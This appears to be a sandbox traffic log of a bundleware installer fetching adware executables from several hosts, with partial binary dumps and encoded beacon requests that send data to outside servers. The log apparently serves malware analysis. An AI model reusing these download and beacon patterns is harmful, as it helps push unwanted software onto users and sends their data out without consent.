Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 3026708.r.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Server: Microsoft-IIS/8.0

p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo

Date: Thu, 08 Jan 2015 04:54:23 GMT

Connection: close

HTTP/1.1 200 OK..Server: Microsoft-IIS/8.0..p3p: CP=BUS CUR CONo FIN I
VDo ONL OUR PHY SAMo TELo..Date: Thu, 08 Jan 2015 04:54:23 GMT..Connec
tion: close..

GET / HTTP/1.1

Range: bytes=124440-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3dfcb60f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=124440-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 74664

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 124440-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e5cb70f75-FRA
ium)qWJUqtn|qL'|rutYiuFZnuJ mJmYm{xYme&.\RsQ^(s mKJ "vhUmusYuu&wts&gvr
sYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&k{nWJ rKs
fium)qWJUqtn|qL'|rutYiuFZnuJ mJmYm{xYme&.\RsQ^(s mW~Z"vhUmusYuu&wts&gv
rsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)
rE]fY\H&l&m&ghqttXits|n&mUottWrL&Xrtt iuwhnus{nKF(r{l(m)&.\RsQ^(s mW~Y
"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\
)rE]fY\H&l&m&ghqttXits|n&mUottWrL&Xrtt iuwhnus{nKF(r{l(m)&.\RsQ^(s mW~
X"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &
sRsX\(IS]IYs]RIT\)rE]fY\H&khquh&qK}|iuq(nWlUm&g|rL'|muF ith'out*rJtWqu
qXrQ&.\RsQ^(s mW~W"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz 
&sRsX\(IS]IYs]RIT\)rE]fY\H&khquh&qK}|iuq(nWlUm&g|rL'|muF ith'out*rJtWq
uqXrQ&.\RsQ^(s mW~&"vhUmusYuu&wts&gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(
ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWggmWEfmhtZiut&ouJUq&r}rL'f
ouq(itk}m&qZnun}qtk{mQ&.\RsQ^(s mW~'"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s
(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\HWggmWEfmhtZiut&ouJUq&r}rL'
fouq(itk}m&qZnun}qtk{mQ&.\RsQ^(s mW~("vhUmusYuu&wts&gvrsYy])\(n{mXuR/J
wsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r{rJl n{
}gitmWqJqUm{lWrL&&o{F&iu[fr{m(m{~(n{lXrQ&.\RsQ^(s mW~)"vhUmusYuu&wts&g
vrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&r{rJl n
{}gitmWqJqUm{lWrL&&o{F&iu[fr{m(m{~(n{lXrQ&.\RsQ^(s mW~*"vhUmusYuu&wts&
gvrsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT
\)rE]fY\HW}|nWtZnKq iu}gnthUnWE{qL'}nJggittXr{wgmJgho{F*mQ&.\RsQ^(<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:55:04 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 04 Jan 2015 05:05:04 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tRCv4T6w2ki9gvn78oYRHeXawo2hl5dF5Bx3Eg0m2u7oJ-6HSXbuug==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 200 OK

Connection: close

Date: Thu, 08 Jan 2015 04:53:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>1e344145-f3a3-4b8b-9635-304106c1
be75</ID>.<PW>ekCxlP9j</PW>.</ANON>.</RESUL
T>...

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1269549

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:09 GMT

Content-Range: bytes 0-1269548/1269576

X-Cache: Miss from cloudfront

Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: id9jN_JpR2X-0_s4TOR-lpYUIt53oVxd6eD_PrlgM3hktVWDAhxVwg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1631232

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:08:01 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 f76d36fc464e1d1e27df9c0172edbc49.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -XtxIb0WrlM5AGXHGfDQkyPGu9jLnbjr3m9EbvMfqjnIFEY67rDy-g==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......Je.....X...X
...X..xX...X..{X...X..zXT..X.|6X...X.|&X...X...X...X..fX;..X...X...X..
|X...X.."X...X..yX...XRich...X........PE..L......T....................
.([email protected]....................
...................s..E5..D`....... .............................. ...
8...........................`...@...............\.....................
.......text...L........................... ..`.rdata..................
............@[email protected][email protected]........ 
......................@..@............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................................U..j.hkMG.
d.....P..8....X.I.3..E.SVWP.E.d........F............h.=H..F...........
...tCh.=H........t..N....h.=H........t..N....h.>H..........A....N..
.8...h.>H........t..UT...F........h$>H..............j.j.....G...
........h(.........j.P......,....H............PW....G.............G...
..$..........P...........h4>H.........A.......u..N...8hP>H......
...A.......u..N....hh>H.........A.......u..N...E..................B
.....I......R...P.......PW......`...W....G....F.......h.>H..t..

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=192700-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 115620

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 192700-308319/308320
P..$..Y]... P...@..].U...M..E....}..`......A.P.l$..Y]... P...@..].....
..........SVW.T$..D$..L$.URPQQh....d.5.....P...3..D$.d.%.....D$0.X..L$
,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...E........C...E....
d........._^[..L$..A..........t3.D$..H.3......U.h..p..p..p..>......
].D$..T$.........U.L$..).q..q..q(........]...UVWS..3.3.3.3.3...[_^]...
....j...D..3.3.3.3.3...U..SVWj.RhF...Q..^.._^[].U.l$.RQ.t$.........]..
.U...E...u..X.................]..@.]............T$..L$...t...D$...%...
..s..L$.W.|$....].T$.......|...%X.......J..W.....r1.....t. .........u.
......................t.....t.........u..D$._..D$..j.h@.........u....u
..\.... ...................xy;[email protected]..
[email protected].....*.............}..E.............).u..
}.V..K..Y....... .............2.......l....U..VW.}.W.fK..Y...tP.@.....
[email protected]..;K..j....2K..YY;.t.W.&K..YP..|@....u....@...
[email protected]._^].U..V.u..F..t 
.F..t..v..T....f.....3.Y...F..F.^].U..V.u...u.V.....Y./V.,...Y..t.....
[email protected].{...P..J..Y..Y....3.^].U..SV.u.3..F.$.<.uB.F.....t9W.&g
t; ~...~.W.v.V.8...YP.. .....;.u..F...y.....F....N. ..._.N..f....^..[]
.j......Y.j.h`........3..}.!}.j..y...Y!}.3..]..u.;5...................
.t][email protected][email protected].}.....u..@..
t.P.....Y...u..E..e.......F...]..}..u.......4.V.....YY..E.............
..t..E........]..}.j......Y.U..V.u...t.j.3.X..;E.s..b.........3..Q..u.
[email protected]*.=<....t.V.....Y..u..E...t....<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2ly1rbvrtv0k6.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 05:01:47 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 04 Jan 2015 05:11:47 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 167

X-Cache: Hit from cloudfront

Via: 1.1 72aad9745d754346a4a44fb3fa892016.cloudfront.net (CloudFront)

X-Amz-Cf-Id: yzJbkkwwryObJcNqacUfLSg0xGZAUjmIg08m025W1gwqYY19MQyhNg==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /get/?data=Q+AObg59VyYNeGjAztMJv+YPF7DpgSo9BygOGa8zpET76OM22GeSxy3TFUbskIs89NPW7cwjlQK7CBwBNR88id3kxv9GDNPWgy9cqwPh9TtOtYeEpZMbufptMlqZ+E3MT9O+OLQofH9DNru44cKIp/7o3zd7WGChytRXl0G+2OB7DOa4fm+y36cz7ukLlkbjWe3H2bMYP4yYMYQvQDRSNrWlJ8ZNyUATN7SRT5GEfDEvR15udhFsmtrlpmmUcI0g66i9T3i/Jdi8vCpdfSmt3jjehLXbq8bYy8Rz2UD3e8OXjlRWIxDwdhk9L0t08JtwJQlszZfcN6/YPQfLx+5LI7kw/8JKnwGsVBu504BObjx3zQN1LowLeLJLtiP/HuDasPPyQ2p3A8hwTBXNTsZukr57uUe4w41VGjSitK3IW+IrdEdQstHtl37XTFHMBgw5Ij5H/1QHAlJTI4Er5iT/U/ewKrGIKB+OJEvdMaAoLDJGh3FOYED7puFibqnq0doSWs7WWYSU&version=4 HTTP/1.1

Accept: */*

User-Agent: win32

Host: techine.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: ngx_openresty

Date: Thu, 08 Jan 2015 04:59:54 GMT

Content-Length: 0

Connection: close

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: D bPn9QPiIknNcx8fdzpaBiYFg5S3KzFeX1Dm/ZWLSsKblqoQqQJEiIDiAwP9q/2

x-amz-request-id: 4B7BE69B456AB6C6

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 9a81df351bec707d92df4325b8393b71.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TpWGDhbsMOIVKzkghnsprAl_K7l3EgwNzjYS_E2W47jkmj9bpnrEfQ==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-154160

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 77081

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:24 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-154160/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}[email protected]
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ9H39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR3CV jqruKgNCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=QgW8pN5r26bof2QYjF1uP5ic0YnV KReB70p5cFj8vcSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EinyDU1xywvV3vvlC0n4Jh9gKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F1CokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RNO160abzp5CgNLtxmH87yasaZRg38QqQuJGktzKh38nNFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJiD62P3KyTuKSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnBrKiiyV NQbbx5s60wEWd8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I/keGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1XzAUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcIe1clBNP5jNwK0vi9ZoWBa50u3XyigpXfsjwfS9hqvGJ tgt1Qsz7I3wsN9Litx/yljm8sCR eIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVecSsxB9wO7GSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnlj3TjUr89wfAHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

